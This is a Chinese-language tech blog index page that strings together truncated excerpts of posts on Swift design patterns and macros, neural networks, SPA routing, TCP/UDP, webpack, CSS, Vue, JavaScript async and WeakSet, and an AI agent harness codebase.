适配器模式要解决的核心问题是：让接口不兼容的类能够一起工作，而不需要修改原有代码。

问题场景：假设我们的App原来使用的是自己封装的网络库，现在想要切换到Alamofire，但项目中有大量地方直接使用了旧接口。

// 旧的网络接口 - 项目中到处都在使用
protocol OldNetworkClient {
 func get(url: String, callback: @escaping (Data?, Error?) -> Void)
 func post(url: String, body: Data?, callback: @escaping (Data?, Error?) -> Void)
}

// 新引入的Alamofire有完全不同的接口
// AF.request(url).response { response in ... }

最直接的方式是修改所有调用处：

// 需要修改项目中所有使用旧接口的地方
// 从：
oldClient.get(url: "https://api.example.com/users") { data, error in ... }

// 改为：
AF.request("https://api.example.com/users").response { response in ... }

这种方式有什么问题？

工作量巨大：需要修改项目中所有使用网络请求的地方
风险高：大量修改容易引入bug
难以回退：如果新库有问题，很难切换回旧实现
违反开闭原则：修改了大量现有代码

适配器模式的解决思路：

创建一个适配器，让新库"伪装"成旧接口，现有代码无需修改：

// 适配器 - 让Alamofire适配旧接口
class AlamofireAdapter: OldNetworkClient {
 func get(url: String, callback: @escaping (Data?, Error?) -> Void) {
 // 内部使用Alamofire，但对外暴露旧接口
 AF.request(url).response { response in
 callback(response.data, response.error)
 }
 }

 func post(url: String, body: Data?, callback: @escaping (Data?, Error?) -> Void) {
 AF.request(url, method: .post, parameters: nil, encoding: URLEncoding.default)
 .response { response in
 callback(response.data, response.error)
 }
 }
}

// 现有代码完全不需要修改
let client: OldNetworkClient = AlamofireAdapter()
client.get(url: "https://api.example.com/users") { data, error in
 // 原有的处理逻辑保持不变
}

适配器模式的好处：

Swift 宏

Mon, 04 May 2026 00:38:29 +0800

Swift 5.9（WWDC 2023）引入的宏（Macro）是近几年语言层最大的一次能力扩展。它让 Swift 第一次具备了编译期代码生成的官方机制——你可以在源码层面写一段"能生成代码的代码"，编译器会在类型检查前把它展开成真正的 Swift 源码，再走正常的编译流程。SwiftUI 的 #Preview、Observation 框架的 @Observable、SwiftData 的 @Model、Swift Testing 的 @Test / #expect、FoundationModels 的 @Generable / @Tool，全都是宏。

一、为什么要有宏

1.1 Swift 之前能做什么，又差在哪

在宏之前，Swift 已经有一整套"元编程"手段，但每一种都有明显的边界：

机制	做什么	局限
`@propertyWrapper`	给属性注入行为（如 `@Published`、`@State`）	只能包属性，不能生成方法、不能生成类型、不能访问其他成员
`@resultBuilder`	把一段 DSL 收集成表达式（如 SwiftUI 的 `ViewBuilder`）	只作用于闭包里，无法改类型定义
KeyPath + Mirror	运行时反射读写属性	只能读，类型安全差，性能差（见 iOS反射）
Codable 等编译器魔法	自动合成 `init(from:)` / `encode(to:)`	只有编译器内部能写，开发者写不出同等能力的东西
Sourcery / SwiftGen	文本级代码生成	游离于编译器之外，无类型信息、无法访问 AST
Objective-C `#define`	纯文本替换	没有作用域、没有类型、没有卫生（hygiene），对调试器和 IDE 极不友好

宏就是要一次性补齐这块能力：在保留类型安全与 IDE 体验的前提下，把"只有 Swift 编译器团队能写的代码生成"开放给所有开发者。

神经网络原理

Sat, 02 May 2026 22:32:27 +0800

想象你手写了一个数字"3"，然后拿给计算机看——它是怎么"认出"这是3而不是8的？这个看似简单的问题，背后隐藏着整个深度学习的核心思想。让我们从最直觉的方式开始，一层一层揭开神经网络的面纱。

一、从像素到数字：问题的本质

1.1 手写数字识别

假设我们有一张28x28像素的灰度手写数字图片。每个像素是一个0到1之间的数字——0代表全黑，1代表全白。这意味着一张图片其实就是一个包含784个数字的列表。

图片 → [0.0, 0.0, 0.12, 0.85, 0.93, ..., 0.0] (784个数字)

我们的目标是设计一个函数，输入这784个数字，输出10个数字，分别代表这张图是0~9每个数字的概率：

f(784个像素值) → [P(0), P(1), P(2), ..., P(9)]

比如输入一张手写的"3"，我们期望输出类似：

[0.01, 0.02, 0.05, 0.89, 0.01, 0.01, 0.00, 0.01, 0.00, 0.00]
 ^^^^
 "3"的概率最高

这就是神经网络要解决的问题。但关键问题是：这个函数 f 长什么样？

1.2 为什么传统编程行不通

你可能会想：能不能写一堆if-else规则？比如"如果上方有一个圆弧，下方也有一个圆弧，那就是3"。

问题在于：人类写字的方式千变万化。同一个"3"，有人写得圆润，有人写得尖锐，有人偏左，有人偏右。你几乎不可能用明确的规则覆盖所有情况。

我们需要的是一种从数据中自动学习规则的方法——这就是神经网络。

二、神经网络的结构

2.1 神经元：最基本的单元

让我们从最简单的单元开始。一个神经元本质上就是一个持有数字的容器。这个数字叫做激活值（activation），取值范围通常在0到1之间。

你可以把它想象成一个灯泡：0表示完全熄灭，1表示完全点亮，中间的值表示不同亮度。

2.2 层：神经元的组织方式

神经网络把神经元组织成层（layer）：

graph LR
subgraph 输入层 [输入层 - 784个神经元]
I1[像素1]
I2[像素2]
I3[...]
I784[像素784]
end
subgraph 隐藏层1 [隐藏层1 - 16个神经元]
H1_1[h1]
H1_2[h2]
H1_3[...]
H1_16[h16]
end
subgraph 隐藏层2 [隐藏层2 - 16个神经元]
H2_1[h1]
H2_2[h2]
H2_3[...]
H2_16[h16]
end
subgraph 输出层 [输出层 - 10个神经元]
O0[0]
O1[1]
O2[...]
O9[9]
end
I1 --> H1_1
I1 --> H1_2
I784 --> H1_16
H1_1 --> H2_1
H1_16 --> H2_16
H2_1 --> O0
H2_16 --> O9

输入层：784个神经元，每个对应一个像素值
隐藏层：中间的层（这里用2层，每层16个神经元）
输出层：10个神经元，对应数字0~9

为什么叫"隐藏层"？因为在训练数据中，我们只知道输入（像素）和输出（标签），中间层在"学什么"我们并不直接指定——它们是被自动学出来的。

单页面架构

Thu, 07 Aug 2025 00:00:00 +0800

传统的多页面应用构建方式：

纯服务端渲染，前后端不分离，使用jsp,jade,’ejs’,’tempalte’等技术在后台先拼接成对应的HTML结构，然后转换成字符串，在每个对应的路由返回对应的数据（文件）即可

Jade模版服务端渲染，代码实现：

const express= require('express')
const app =express()
const jade = require('jade')
const result = ***
const url path = ***
const html = jade.renderFile(url, { data: result, urlPath })//传入数据给模板引擎
app.get('/',(req,res)=>{
 res.send(html)//直接吐渲染好的`html`文件拼接成字符串返回给客户端
}) //RestFul接口

app.listen(3000,err=>{
 //do something
})

使用jQuery等传统库绘制的前端页面

传统前后端不分离，服务端渲染的优缺点：

优点：

SEO友好，因为返回给前端的是渲染好的HTML结构，里面的内容都可以被爬虫抓取到。
对于一些应用性能等要求不高的项目，比如某个公司的静态网页，内容很少的情况下，直接一把梭就好，不用再搭建工程化的环境等
对于后端程序员（全干工程师）来说，不用去特意学习前端框架，公司也不用特意去招聘前端
兼容性好，传统服务端渲染多页面应用吐出来的都是字符串，HTML结构

缺点：

如果项目很大，不利于维护，据我所知，目前很多云计算公司，还有不少都是使用非单页面应用，例如一个几十万行的项目是用jQuery写的，如果注释和文档不是非常齐全，那么真的会无从下手
性能和用户体验，不能跟单页面应用相比
后期迭代，升级空间不大，目前大部分写得比较好的库，都建立vue,react等框架基础上，他们都有一套自己的运行机制，有自己的生命周期，并且不像传统的应用，还加上了一层虚拟DOM以及diff算法
现在类似Ant-Design-pro这样的开箱即用的库已经很多，单页面应用的学习和开发成本已经很低很低，如果还在使用传统的技术去开发新的应用，对于开发人员多内心来说也是一种折磨。

这里并不是说多页面应用不好，只能说各有各自的好，单页面应用如果通过大量的极致优化手段，是可以从不少方面跟原生一拼。

目前的单页面应用：

只有一张Web页面的应用，是一种从Web服务器加载的富客户端，单页面跳转仅刷新局部资源，公共资源(js、css等)仅需加载一次，常用于PC端官网、购物等网站
其实只有一个空的DIV标签，其他都是js动态生态的内容

单页面应用实现步骤：

代码实现：

首先是一个静态模板文件 index.html

<!DOCTYPE html>
<html lang="en">

<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <meta http-equiv="X-UA-Compatible" content="ie=edge">
 <title>Document</title>
</head>

<body>
 <div id="root"></div>
</body>
<script>

</script>

</html>

在vue react框架的入口文件中指定对应的渲染元素：

import React from 'react;
import ReactDOM from 'react-dom';

ReactDOM.render(
<App/>,
document.querySelector("#root")
)

引入react-router或者 react-router-dom，dva等路由跳转的库
配置路由跳转

<HashRouter>//这里使用HashRouter
 <ErrorBoundary>//React错误边界
 <Switch>
 <Route path="/login" component={Login} />
 <Route path="/home" component={Home} />
 <Route path="/" component={NotFound} />//404路由或者重定向都可以
 </Switch>
 </ErrorBoundary>
</HashRouter>

单页面应用所谓路由跳转，其实最终结果就是：

浏览器的url地址发生变化，但是其实并没有发送请求，也没有刷新整个页面
根据我们配置的路由信息，每次点击切换路由，会切换到不同的组件显示，类似于选项卡功能的实现,但是同时url地址栏会变化
分为HashRouter和BrowserRouter两种模式

自己实现一个粗略的路由跳转：

自己实现传统的`Hash`模式跳转：

hash 就是指 url 后的 # 号以及后面的字符。例如www.baidu.com/#segmentfault,那么#segmentfault就是hash值

TCP和UDP

Mon, 28 Jul 2025 00:00:00 +0800

TCP/IP 五层模型

先看图，为网络模型分层，以及一个完整http请求在五层模型中的完整工作流程

应用层：最高层，提供特定于应用程序的协议，运行在该层的协议有HTTP、FTP、SSH、WebScoket等
传输层：为两个主机进程通信提供通用的数据传输协议，如TCP、UDP
网络层：负责寻址和路由功能，将数据包发送到特定的计算机，主要协议是IP协议，路由器就是在这一层
链路层：负责将二进制数据包和网络信号相互转换，交换机、网卡就是在这一层
物理层：主要有接收器、发送器、中继器、光纤电缆等

网络协议通过分层来明确每一层的工作职责，通过定义明确的接口来协同工作，第一层都可以使用下面各层的功能，而不用担心各层是怎么实现的。就好像我们开发封装组件一样，每一个组件各自负责各自的事，互不干扰，也提高了复用度，如上图文件基本传输过程，也就是http分层工作流程：

主机A发起请求，数据发送前会被分为许多片段，称为数据包，然后使用http协议将数据包封装，并加上请求头，传给下一层
传输层拿到数据，为每个数据包分配一个端口号，用来确定目标计算机的哪一个应用程序，然后使用TCP协议进行处理，加上TCP头或UDP头，通过TCP协议传给下一层
网络层拿到数据后为每个数据包添加目标计算机的IP地址，并决定传给什么路由或接收的主机，再封装传给下一层
链路层将数据转译成电子信号，进一步封装成数据帧，传给物理层
物理层通过电缆传送给主机B这边的链路层
主机B的链路层拿到数据后，检查每个包中的目标地址并确定将其发送到哪里，如果不是发给自己的就丢弃，然后根据数据确定协议类型，再传给网络层的IP协议模块
网络层接收到后拆开获取IP头，判断首部接收的IP地址匹配，然后根据头部协议类型，转发TCP或UDP等
传输层TCP收到后会计算校验，判断数据的完整性，然后处理数据包顺序接收的逻辑，最后根据端口确定要转发给应用层的哪个程序
最终应用层接到数据之后，根据http协议解析数据

这里只展开一下网络层的 IP 和传输层的 TCP 、UDP

IP

如果是在局域网内都是用MAC地址通信，局域网之外，就得用IP了。MAC就像是身份证，IP就像是住址。所有TCP、UDP、ICMP等数据都是以IP数据报格式进行传输

IP协议本身不支持发往目的地址失败的IP数据包，也没有提供直接的方式获取诊断信息，比如发送途中经过哪些路由器，以及往返时间，而这就由ICMP协议来专门负责

ICMP并不为IP网络提供可靠性，只用于反馈各种故障和配置信息，丢包不会触发ICMP

我们常用的ping就是用ICMP查询报文。不过ping使用ICMP协议会直接跳过了传输层，所以ping程序是没有端口号的

IP协议的特点是：

IP协议是不可靠的传输协议。如果 ICMP协议出现传输异常，IP都会丢弃数据包并可能会响应一个ICMP差错消息给发送端，而任何要求可靠性必须由上层如TCP协议来提供
IP协议是无连接的。就是不维护任何关于后续数据的状态信息，每个数据独立。表现在：可以不按发送顺序接收，不用维护连接状态，免去了维护复制的链路状态信息(TCP会讲到)

UDP

UDP的特点

无连接不需要握手和挥手就可以直接发送数据。
不可靠性：就是一个传递数据的搬运工，来一个包就发一个。不会备份，也不关心对方是否正确收到，传输顺序也无法保证。所以就只能由应用层来保证可靠，因为网络层也是不可靠的
在发送端应用层将数据传给传输层的UDP，它只加一个UDP头标识(UDP协议)，就直接发给网络层了。
接收端在网络层将数据发给传输层，传输层UDP只去掉IP报文头就传给应用层了。
其他什么都不会管，不过这也减少开销和发送数据之前的延迟
支持广播：有单播，多播，广播的功能，不只支持一对一传输方式，还支持一对多，多对多的方式
首部开销小：8个字节（源端口号(非必填)、目的端口号、UDP长度(数据报的整个长度)、UDP检查和(检测UDP数据报是否有错或者目的端口找不到对应的进程，各2字节），因为它要求不高而且实现的功能没有那么多，所以首部字段不多，而TCP有20个字节。它的数据是可以为0的，所以它最少可以是8个字节
是面向报文的：适合一次性传输少量数据，因为应用层给UDP多长的报文都会照样发送，即一次发送一个完整的报文，即不合并也不拆分。如果报文太长的话，UDP完整的装进来交给网络层的话，网络层就要分片了，因为传给链路层的话它有一个MTU的要求，所以网络层就要分片，这会给网络层的效率造成影响
无拥塞控制：适合实时应用，因为它会一直以恒定的速度发送数据，即使网络条件不好，也不会对发送速率进行调整。这就导致在网络不好的情况下就有可能丢包，但优点也明显，在某些实时性要求高的场景比如说聊天、在线视频、网络语音电话等使用UDP而不是TCP，比如打微信电话出现偶尔断续不是太大问题。当然拥塞太严重也有一些补救措施比如向前纠错或者重传

UDP 为什么不可靠

传输数据之前不需要先建立连接
不保证消息交付，远程主机的传输层在接收到UDP报文后，不需要确认
不保证将会顺序，不设置包序号、不重排、不会发生队首阻塞
不进行拥塞控制，没有内置反馈机制，不重传、无超时

TCP

这是我们平时用的最多的协议，特别是前后端 TCP给应用程序提供了一种与UDP完全不同的服务 TCP是面向连接的可靠的服务，面向连接指TCP的两个应用程序必须在它们可交换数据之前，通过相互联系来建立一个TCP连接 TCP提供了一种字节流抽象概念给应用程序：不会自动插入记录标志或者消息边界，如发送端分别发10字节和30字节，接收端可能会以两个20字节的方式读入

TCP的特点

是面向连接的，通信之前双方必须要先建立连接
只支持单播，就是点对点的传输，一条TCP连接只能有两个端点
提供可靠交付的服务，有完整性校验、数据不会丢失，会丢包重传、且会按顺序到达
是面向字节流的。不像UDP那样一个个报文独立传输，而是在不保留报文边界的情况下以字节流方式进行传输
提供拥塞控制，当网络出现拥塞的情况，有流量控制，能够减少传输数据的速度和数量，缓解拥塞，保证稳定
提供全双工通信和可靠通信，指的是发送方和接收方可以同时发送数据也可以同时接收数据。因为两边都会设置有发送缓存和接收缓存
发送缓存就是发送缓存的队列里面有准备发送的数据和已经发送但是还没有收到来自接收方确认的数据，如果没有收到确认还要重发所以不能扔掉，将可能会被重传，因为TCP需要保证可靠传输
接收缓存就是按序到达但是还没有被接收应用程序读取的数据和没按序到达的数据，需要顺序排好了，接收方才能逐一接收数据

为什么说 TCP 是可靠的

因为接收方收到数据后会发送一个ACK确认应答消息，这样发送方就知道自己的数据被对方接收了，如果一直没有收到ACK一定时间后就会重发。因此就算数据没有发到接收方，或者接收方的ACK数据包丢失也有重传机制，确保双方最终可以通过重传也能正确收到消息

重传机制

由于TCP的下层网络层可能出现丢失、重复或乱序的情况，TCP协议需要提供可靠数据传输服务。

性能优化

Tue, 17 Dec 2024 00:00:00 +0800

本文篇幅较长，将从 编译阶段 -> 路由阶段 -> 渲染阶段 -> 细节优化 -> 状态管理 -> 海量数据源，长列表渲染 方向分别加以探讨。

一不能输在起跑线上，优化babel配置,webpack配置为项

1 真实项目中痛点

当我们用create-react-app或者webpack构建react工程的时候，有没有想过一个问题，我们的配置能否让我们的项目更快的构建速度，更小的项目体积，更简洁清晰的项目结构。随着我们的项目越做越大，项目依赖越来越多，项目结构越来越来复杂，项目体积就会越来越大，构建时间越来越长，久而久之就会成了一个又大又重的项目，所以说我们要学会适当的为项目‘减负’，让项目不能输在起跑线上。

2 一个老项目

拿我们之前接触过的一个react老项目为例。我们没有用dva,umi快速搭建react，而是用react老版本脚手架构建的，这对这种老的react项目，上述的问题都会存在，下面让我们一起来看看。

我们首先看一下项目结构。

再看看构建时间。

为了方便大家看构建时间，我简单写了一个webpack，plugin ConsolePlugin ,记录了webpack在一次compilation所用的时间。

const chalk = require('chalk') /* console 颜色 */
var slog = require('single-line-log'); /* 单行打印 console */

class ConsolePlugin {
 constructor(options){
 this.options = options
 }
 apply(compiler){
 /**
 * Monitor file change 记录当前改动文件
 */
 compiler.hooks.watchRun.tap('ConsolePlugin', (watching) => {
 const changeFiles = watching.watchFileSystem.watcher.mtimes
 for(let file in changeFiles){
 console.log(chalk.green('当前改动文件：'+ file))
 }
 })
 /**
 * before a new compilation is created. 开始 compilation 编译 。
 */
 compiler.hooks.compile.tap('ConsolePlugin',()=>{
 this.beginCompile()
 })
 /**
 * Executed when the compilation has completed. 一次 compilation 完成。
 */
 compiler.hooks.done.tap('ConsolePlugin',()=>{
 this.timer && clearInterval( this.timer )
 const endTime = new Date().getTime()
 const time = (endTime - this.starTime) / 1000
 console.log( chalk.yellow(' 编译完成') )
 console.log( chalk.yellow('编译用时：' + time + '秒' ) )
 })
 }
 beginCompile(){
 const lineSlog = slog.stdout
 let text = '开始编译：'
 /* 记录开始时间 */
 this.starTime = new Date().getTime()
 this.timer = setInterval(()=>{
 text += '█'
 lineSlog( chalk.green(text))
 },50)
 }
}

构建时间如下：

表单验证

Mon, 14 Oct 2024 00:00:00 +0800

HTML 表单是用于收集用户输入数据的重要元素，通常用于提交到服务器进行处理。它包括一系列控件，如文本输入框、按钮、复选框、单选按钮、文件上传等。表单通过 form 标签定义，用户可以通过这些控件与网页进行交互。

1. 基础结构

表单通过 <form> 标签创建，表单的 action 属性定义数据提交的目标 URL，method 属性定义提交方式（如 GET 或 POST）。

<form action="/submit" method="POST">
 <input type="text" name="username">
 <input type="submit" value="Submit">
</form>

2. 表单控件

HTML 表单提供了多种用户输入控件：

文本输入 (<input type="text">, <textarea>)
密码输入 (<input type="password">)
单选框和复选框 (<input type="radio">, <input type="checkbox">)
下拉列表 (<select>)
按钮 (<button>, <input type="submit">)
文件上传 (<input type="file">)
隐藏输入 (<input type="hidden">)

3. 表单的属性

action：指定表单数据提交到的 URL。
method：定义提交方式，常用 GET（将数据附在 URL 后）和 POST（将数据放入 HTTP 请求体中）。
enctype：指定数据的编码类型，常用于文件上传（如 multipart/form-data）。
autocomplete：启用或禁用浏览器的自动完成功能。

4. 表单校验

HTML5 引入了许多新的表单校验功能，能够减少 JavaScript 校验代码的复杂度。校验功能包括：

浮动、清除浮动和BFC

Thu, 10 Oct 2024 00:00:00 +0800

浮动、清除浮动和BFC是前端开发中常见的概念，它们对于页面布局及美化至关重要。

浮动

在网页设计中，浮动是一种常见的布局技术，可以让元素脱离文档流，我们来看看它有什么作用吧！

使文字环绕

代码示例如下：

html结构：

<div class="box"></div>
<div class="text">一段文字</div>

css样式：

 .box{
 width: 200px;
 height: 200px;
 background-color: coral;
 }

若不加浮动，则页面是这样的效果：

但若是在box加上float: left;(向左浮动)，则能使文字环绕box这个盒子：

 .box{
 width: 200px;
 height: 200px;
 background-color: coral;
 float: left;
 }

让块级元素同行显示

块级元素本身是占据一整行的，但浮动能让多个块级元素处于同一行，示例如下：

若不加浮动，则多个块级元素各自占据一行：

html结构：

 <ul>
 <li>1</li>
 <li>2</li>
 <li>3</li>
 </ul>

css样式：

 *{
 margin: 0;
 padding: 0;
 }
 ul li{
 list-style:none;
 width: 200px;
 height: 100px;
 font-size: 16px;
 }
 li:nth-child(1){/*子容器选择器 */
 background-color: rgb(227, 149, 149);
 }
 li:nth-child(2){
 background-color: rgb(205, 139, 197);
 }
 li:nth-child(3){
 background-color: rgb(145, 212, 227);
 }

页面如图：

自定义指令

Sat, 05 Oct 2024 00:00:00 +0800

如何自定义指令？

其实关于这个问题官方文档上已经有了很好的示例的，我们先来温故一下。

除了核心功能默认内置的指令 (v-model 和 v-show)，Vue 也允许注册自定义指令。注意，在 Vue2.0 中，代码复用和抽象的主要形式是组件。然而，有的情况下，你仍然需要对普通 DOM 元素进行底层操作，这时候就会用到自定义指令。举个聚焦输入框的例子，如下：

当页面加载时，该元素将获得焦点 (注意： autofocus 在移动版 Safari 上不工作)。事实上，只要你在打开这个页面后还没点击过任何内容，这个输入框就应当还是处于聚焦状态。现在让我们用指令来实现这个功能：

// 注册一个全局自定义指令 `v-focus`
Vue.directive('focus', {
// 当被绑定的元素插入到 DOM 中时……
 inserted: function (el) {
 // 聚焦元素
 el.focus()
 }
})

如果想注册局部指令，组件中也接受一个 directives 的选项：

directives: {
 focus: {
 // 指令的定义
 inserted: function (el) {
 el.focus()
 }
 }
}

然后你可以在模板中任何元素上使用新的 v-focus property，如下：

<input v-focus>

指令内部提供的钩子函数

一个指令定义对象可以提供如下几个钩子函数 (均为可选)：

bind: 只调用一次，指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。
inserted: 被绑定元素插入父节点时调用 (仅保证父节点存在，但不一定已被插入文档中)。
update: 所在组件的 VNode 更新时调用，**但是可能发生在其子 VNode 更新之前。**指令的值可能发生了改变，也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新 (详细的钩子函数参数见下)。
componentUpdated: 指令所在组件的 VNode 及其子VNode全部更新后调用。
unbind: 只调用一次，指令与元素解绑时调用。

钩子函数参数

指令钩子函数会被传入以下参数：

WeakMap 和 WeakSet

Wed, 02 Oct 2024 00:00:00 +0800

1. 什么是 WeakSet

WeakSet 结构与 Set 类似，也是不重复的值的集合，具备

WeakSet.prototype.add(value) ：向 WeakSet 实例添加一个新成员。
WeakSet.prototype.delete(value) ：清除 WeakSet 实例的指定成员。
WeakSet.prototype.has(value) ：返回一个布尔值，表示某个值是否在 WeakSet 实例之中。这三个方法。但是，它与 Set 有两个区别。

区别一：WeakSet 的成员只能是对象和Symbol类型，而不能是其他类型的值，我们用代码演示一下

从代码中可以看到，想像Set一样直接往 WeakSet 中添加原始类型化会报错，只能添加对象和Symbol

区别二`(这是核心)`： WeakSet 中的对象都是弱引用，即垃圾回收机制不考虑 WeakSet 对该对象的引用，也就是说，如果其他对象都不再引用该对象，那么垃圾回收机制会自动回收该对象所占用的内存，不考虑该对象还存在于 WeakSet 之中。

（这句解释来自ECMAScript 6 入门,第一眼看到这句话这话会觉得有点晦涩，我们来解释一下）

弱引用：垃圾回收机制有一套自己的回收算法，我们都知道一个函数执行完成后该函数在调用栈中创建的执行上下文会被销毁，这里说的销毁，其实指的就是执行上下文中环境变量、词法变量中的数据存储所占据的内存空间被垃圾回收机制所回收，那么垃圾回收机制不考虑 WeakSet 对该对象的引用是不是就意味着垃圾回收机制不会回收 WeakSet 对象里面的数据所占据的内存呢？不！不是的！代码是最好的解释

我们用 ws 中存放一个对象，然后再将该对象置为null，（这里要说明一下，一个变量被置为null，就意味着这个变量的内存可以被回收了）看着这个打印结果有没有突然明白了点什么，对！没错！只要 WeakSet 结构中的对象不再需要被引用，那么 WeakSet 就直接为空了，这不就意味着WeakSet中的数据所占据的内存被释放了吗。好的，你或许还会有疑问，难道不用 WeakSet 存储数据，结果就不是这样的吗，来打消你的疑虑

不使用 WeakSet 存放数据，当变量obj为null时，fistName依旧是有值的，对比这段代码，我们可以清晰的看出, WeakSet中 - 垃圾回收机制会自动回收该对象所占用的内存

2. 这里有’BUG'

可能已经有小伙伴拔出了他40米长的大剑了，上图二中的代码其实有问题，真实的打印应该是

各位手中的长剑收一收，先别急，其实我们前面聊的没有问题，为什么这里真是打印能出来结果呢？这个问题在国外某技术论坛上也是一度出现在 WeakSet 话题榜首位，解释为：因为浏览器的垃圾回收机制是不受我们控制的，我们无法知道垃圾回收机制什么时候执行，之所以打印能出现内容，其实是因为打印的时候垃圾回收机制没有启动。所以我们可以认为，上图二中的打印在垃圾回收启动之后，它就是空的

我们可以这样来证明它:

如果这样你觉得依旧不够睡服你自己的话，我们把这段代码搬到node中：

异步编程

Tue, 01 Oct 2024 00:00:00 +0800

浏览器中的JavaScript程序是典型的事件驱动型程序，即它们会等待用户触发后才真正的执行，而基于的JavaScript的服务器通常要等待客户端通过网络发送请求，然后才能执行。这种异步编程在JavaScript是很常见的，下面就来介绍几个异步编程的重要特性，它们可以使编写异步代码更容易。

本文将按照异步编程方式的出现时间来归纳整理：

一、什么是异步

下面先来看看同步和异步的概念：

同步： 在执行某段代码时，在没有得到返回结果之前，其他代码暂时是无法执行的，但是一旦执行完成拿到返回值，即可执行其他代码。也就是说，在此段代码执行完未返回结果之前，会阻塞之后的代码执行，这样的情况称为同步。
异步： 当某一代码执行异步过程调用发出后，这段代码不会立刻得到返回结果。而是在异步调用发出之后，一般通过回调函数处理这个调用之后拿到结果。异步调用发出后，不会影响阻塞后面的代码执行，这样的情况称为异步。

下面来看一个例子：

// 同步
function syncAdd(a, b) {
  return a + b;
}

syncAdd(1, 2) // 立即得到结果：3

// 异步
function asyncAdd(a, b) {
  setTimeout(function() {
    console.log(a + b);
  }, 1000)
}

asyncAdd(1, 2) // 1s后打印结果：3

这里定义了同步函数 syncAdd 和异步函数 asyncAdd，调用 syncAdd(1, 2) 函数时会等待得到结果之后再执行后面的代码。而调用 asyncAdd(1, 2) 时则会在得到结果之前继续执行，直到 1 秒后得到结果并打印。

我们知道，JavaScript 是单线程的，如果代码同步执行，就可能会造成阻塞；而如果使用异步则不会阻塞，不需要等待异步代码执行的返回结果，可以继续执行该异步任务之后的代码逻辑。因此，在 JavaScript 编程中，会大量使用异步。

那为什么单线程的JavaScript还能实现异步呢，其实也没有什么魔法，只是把一些操作交给了其他线程处理，然后采用了事件循环的机制来处理返回结果。

二、回调函数

在最基本的层面上，JavaScript的异步编程式通过回调实现的。回调的是函数，可以传给其他函数，而其他函数会在满足某个条件时调用这个函数。下面就来看看常见的不同形式的基于回调的异步编程。

1. 定时器

一种最简单的异步操作就是在一定时间之后运行某些代码。如下面代码：

setTimeout(asyncAdd(1, 2), 8000)

setTimeout()方法的第一个参数是一个函数，第二个参数是以毫秒为单位的时间间隔。asyncAdd()方法可能是一个回调函数，而setTimeout()方法就是注册回调函数的函数。它还代指在什么异步条件下调用回调函数。setTimeout()方法只会调用一次回调函数。

2. 事件监听

给目标 DOM 绑定一个监听函数，用的最多的是 addEventListener：

document.getElementById('#myDiv').addEventListener('click', (e) => {
 console.log('我被点击了')
}, false);

通过给 id 为 myDiv 的一个元素绑定了点击事件的监听函数，把任务的执行时机推迟到了点击这个动作发生时。此时，任务的执行顺序与代码的编写顺序无关，只与点击事件有没有被触发有关。

Swift底层原理-结构体、类和协议

Wed, 06 May 2026 22:05:01 +0800

在Objective-C底层原理-NSObject文章中，我们深入了解了Objective-C对象的底层实现。本文将探讨Swift中类和结构体的底层原理。

Swift数据结构的分类

Swift中的类根据是否继承自NSObject，在底层实现上存在显著差异：

继承自NSObject的Swift类：兼容Objective-C运行时，支持完整的Objective-C特性
纯Swift类：使用Swift原生运行时，性能更优但Objective-C互操作性受限

Swift中结构体是值类型，具有以下核心特征：

栈上分配内存（非逃逸情况）
值语义和完整拷贝
写时拷贝优化（COW）
静态方法派发

Swift类的底层实现

继承自NSObject的Swift类

当Swift类继承自NSObject时，必须兼容Objective-C的运行时系统，其底层实现与Objective-C对象高度一致。

内存布局

class Class: NSObject {
 var name: String
 var isMale: Bool
 var age: Int

 init(name: String, isMale: Bool, age: Int) {
 self.name = name
 self.isMale = isMale
 self.age = age
 super.init()
 }
}

实例内存布局：

偏移量	内容	大小	说明
0x0-0x7	isa_t isa	8字节	指向类对象，包含优化的位域信息
0x8-0x17	String name	16字节	Swift String结构（64位系统）
0x18	Bool isMale	1字节	布尔值
0x19-0x1F	(padding)	7字节	Swift编译器根据下一个字段（Int，8字节对齐要求）自动插入填充，确保Int字段从8的倍数地址开始
0x20-0x27	Int age	8字节	64位整数
0x28-0x2F	(padding)	8字节	最终内存对齐填充

关键特性：

OpenClaw 源码导读（三）：Agent Harness — 为"每一家 LLM 都能兜住"而生的执行管线

Sat, 02 May 2026 22:32:27 +0800

系列第一篇把 OpenClaw 的架构地图摊开，第二篇深入 Gateway 控制平面。这一篇，我们钻进整个项目的心脏——src/agents/，看 OpenClaw 怎么处理最复杂的一件事：当 Gateway 接到一条用户消息之后，怎么把它变成一轮真正的 LLM turn + Tool 循环。

这一层代码的体量和复杂度非常惊人：

src/agents/pi-embedded-runner/run.ts 单文件 2160 行，是整个 agent 循环的驱动器。

src/agents/pi-embedded-runner/compact.ts 1148 行，专门处理上下文压缩。

整个 src/agents/ 目录有 830+ 个文件，光 anthropic-*.ts 就有近 20 个（为了 Messages API 的各种 edge case）。

同时支持 Anthropic、OpenAI、Google Gemini、Bedrock、Vertex、OpenRouter、Z.AI/GLM、MiniMax、Qwen、Ollama、Kilocode 等十多个 provider。

但这些"量"的背后，是一个只有一个接口的核心抽象：AgentHarness。本文就从这个抽象出发，一路看到 2160 行循环如何处置真实世界里十几类失败。

一、Harness 抽象：只有一个 `runAttempt`

1. 为什么不用 LangChain 风格的"Agent Framework"

读过 LangChain 或 CrewAI 的人第一眼会期望看到 AgentExecutor、AgentChain、Memory、Callback、Tool 这些类。OpenClaw 里一个都没有。

它的选择是：把整个 agent 循环当成一个黑盒，对外只暴露一个接口：

export type AgentHarness = {
 id: string;
 label: string;
 pluginId?: string;
 supports(ctx: AgentHarnessSupportContext): AgentHarnessSupport;
 runAttempt(params: AgentHarnessAttemptParams): Promise<AgentHarnessAttemptResult>;
 compact?(params: AgentHarnessCompactParams): Promise<AgentHarnessCompactResult | undefined>;
 reset?(params: AgentHarnessResetParams): Promise<void> | void;
 dispose?(): Promise<void> | void;
};

五个方法，其中三个可选：

状态管理工程化

Thu, 07 Aug 2025 00:00:00 +0800

状态管理是一个前端界老生常谈的话题了，所有前端框架的发展历程中都离不开状态管理的迭代与更替，对于react来说呢，整个状态管理的发展也随着react架构的变更和新特性的加入而不停的做调整，作为一个一起伴随react成长了快5年的开发者，经历过reflux、redux、mobx，以及其他redux衍生方案dva、mirror、rematch等等后，我觉得它们都不是我想要的状态管理的终极形态，所以为了打造一个和react结合得最优雅、使用起来最简单、运行起来最高效的状态管理方案，踏上了追梦旅途。

为何需要状态管理

